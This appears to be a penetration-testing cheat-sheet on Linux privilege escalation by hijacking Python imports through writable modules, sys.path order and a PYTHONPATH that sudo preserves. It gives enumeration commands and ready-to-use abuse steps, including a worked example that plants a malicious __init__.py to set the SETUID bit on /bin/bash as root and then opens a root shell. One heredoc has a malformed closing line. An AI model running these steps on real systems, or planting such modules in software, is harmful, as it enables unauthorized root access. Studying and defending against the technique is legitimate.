PRIMARY CATEGORY → LIBRARY ABUSE

Theory

Python Library Hijacking consists of forcing a privileged Python process to import and execute an attacker-controlled module instead of the legitimate one.

The privileges are inherited from the Python process. Common entry points include:

  • A SUDO rule that allows a Python script to be executed as another user

  • A privileged process that automatically executes a Python script

e.g. CRON Job

  • A Python interpreter with the SETUID bit enabled

Important

The SETUID bit applied directly to a Python script is normally ignored by the Linux kernel

Therefore, the privilege must come from the interpreter, SUDO or another privileged process.


Write Permissions on Imported Python Module

Requirements
  • Ability to execute a Python script as a privileged user

  • Write permissions over one of the Python modules imported by the script

Enumeration
Listing Sudo Privileges
sudo -l
Inspecting the Python Script
cat <PYTHON_SCRIPT>
Identifying Imported Modules
import <MODULE>
Locating the Imported Module
python -c 'import <MODULE>; print(<MODULE>.__file__)'

Python3

python3 -c 'import <MODULE>; print(<MODULE>.__file__)'
Checking Write Permissions
namei -l <MODULE_PATH>
test -w <MODULE_PATH> && echo "Writable"
Abuse

If the imported module is writable, arbitrary Python code can be appended to it:

import os
os.system("<COMMAND>")

Or

__import__('os').system("COMMAND")

Then, the privileged Python script must be executed:

sudo --user <USER> -- <PYTHON_INTERPRETER> <PYTHON_SCRIPT>

The malicious code is executed when Python imports the modified module.


Library Path Abuse

When Python imports a module, it searches for it through the directories contained in sys.path.

import sys
 
print(sys.path)

The search stops as soon as Python finds a matching module or package.

When a script is executed using its path, the directory containing that script is normally placed at the beginning of sys.path.

e.g.

/usr/bin/python /home/john/script.py

The following directory will normally be searched before the global Python library directories:

/home/john

Therefore, if the script imports wificontroller and an attacker can write inside /home/john, the attacker may create one of the following objects:

/home/john/wificontroller.py
/home/john/wificontroller/__init__.py

Python will import the attacker-controlled object if it is found before the legitimate library.

The relevant directory is normally the directory containing the executed script, not necessarily the current working directory of the shell.

Built-in modules such as sys are resolved internally and cannot normally be hijacked by creating a sys.py file or sys/ directory.

Requirements
  • Ability to execute a Python script as a privileged user

  • The Python script must import a module that can be hijacked

  • Write permissions over a directory searched before the legitimate module

Enumeration
Listing Python Library Paths
python -c 'import sys; print("\n".join(sys.path))'

Python3

python3 -c 'import sys; print("\n".join(sys.path))'
Inspecting the Imported Module
python -c 'import <MODULE>; print(<MODULE>.__file__)'
Checking Directory Permissions
namei -l <PYTHON_SCRIPT>
test -w <DIRECTORY> && echo "Writable"
Abuse
Script Directory Package Hijacking

Suppose the current user has the following SUDO privilege:

sudo -l

Output

User www-data may run the following commands on walla:
    (ALL) NOPASSWD: /usr/bin/python /home/john/script.py

The rule allows script.py to be executed as any user, including ROOT.

First, inspect the privileged Python script:

cat /home/john/script.py

The script imports a package named wificontroller.

Check the permissions over the script:

ls -l /home/john/script.py

The script cannot be modified directly.

Check the permissions over the directory containing the script:

ls -ld /home/john

The current user can write inside /home/john.

Since this directory is searched when the privileged script imports modules, create a malicious package matching the imported name:

mkdir -p /home/john/wificontroller

Create its package initialization file:

cat > /home/john/wificontroller/__init__.py <<'EOF'
import os
 
os.system("chmod u+s /bin/bash")
EOF

The filename must be exactly __init__.py, using two underscores before and after init.

Execute the Python script as ROOT:

sudo --user root -- /usr/bin/python /home/john/script.py

Python performs the following actions:

  • It adds /home/john to its library search path.

  • It processes import wificontroller.

  • It finds /home/john/wificontroller/ before the legitimate package.

  • It executes wificontroller/__init__.py as ROOT.

  • The initialization code adds the SETUID bit to /bin/bash.

The package does not need to implement the stop, reset or start functions for this payload to execute.

Python runs __init__.py during the import, before attempting to call those functions.

An exception may occur afterwards because the functions do not exist, but the command has already been executed.

Verify the permissions:

ls -l /bin/bash

Spawn a shell while preserving the effective privileged identity:

/bin/bash -p

Verify the resulting privileges:

id
Higher-Priority Directory Hijacking

If a writable directory appears before the legitimate module directory in sys.path, create a malicious module with the same name:

cat > <WRITABLE_DIRECTORY>/<MODULE>.py <<'EOF'
import os
 
os.system("<COMMAND>")
EOF

Then, execute the privileged script:

sudo --user <USER> -- <PYTHON_INTERPRETER> <PYTHON_SCRIPT>

Python imports the malicious module because it appears earlier in the search order.


PYTHONPATH Environment Parameter

Theory

The PYTHONPATH environment variable adds directories to Python’s module search path.

export PYTHONPATH=<DIRECTORY>

This can be abused when:

  • A privileged Python script imports an attacker-controlled module

  • SUDO preserves the PYTHONPATH environment variable

  • The applicable SUDO rule allows the variable to be supplied, such as through the SETENV tag

Enumeration
Checking Sudo Environment Rules
sudo -l

Look for entries such as:

SETENV
env_keep+=PYTHONPATH
Checking the Current Value
printenv PYTHONPATH
Abuse

Create a malicious module inside a writable directory:

mkdir -p /tmp/python
cat > /tmp/python/<MODULE>.py <<'EOF'
import os
 
os.system("<COMMAND>")
EOF

Or

cat > /tmp/python/<MODULE>.py << 'EOF'
__import__('os').system("COMMAND")
'EOF'

Set PYTHONPATH:

export PYTHONPATH=/tmp/python

Execute the privileged Python script while preserving the variable:

sudo --preserve-env=PYTHONPATH --user <USER> -- <PYTHON_INTERPRETER> <PYTHON_SCRIPT>

Python searches /tmp/python and imports the malicious module before the legitimate one.


Resources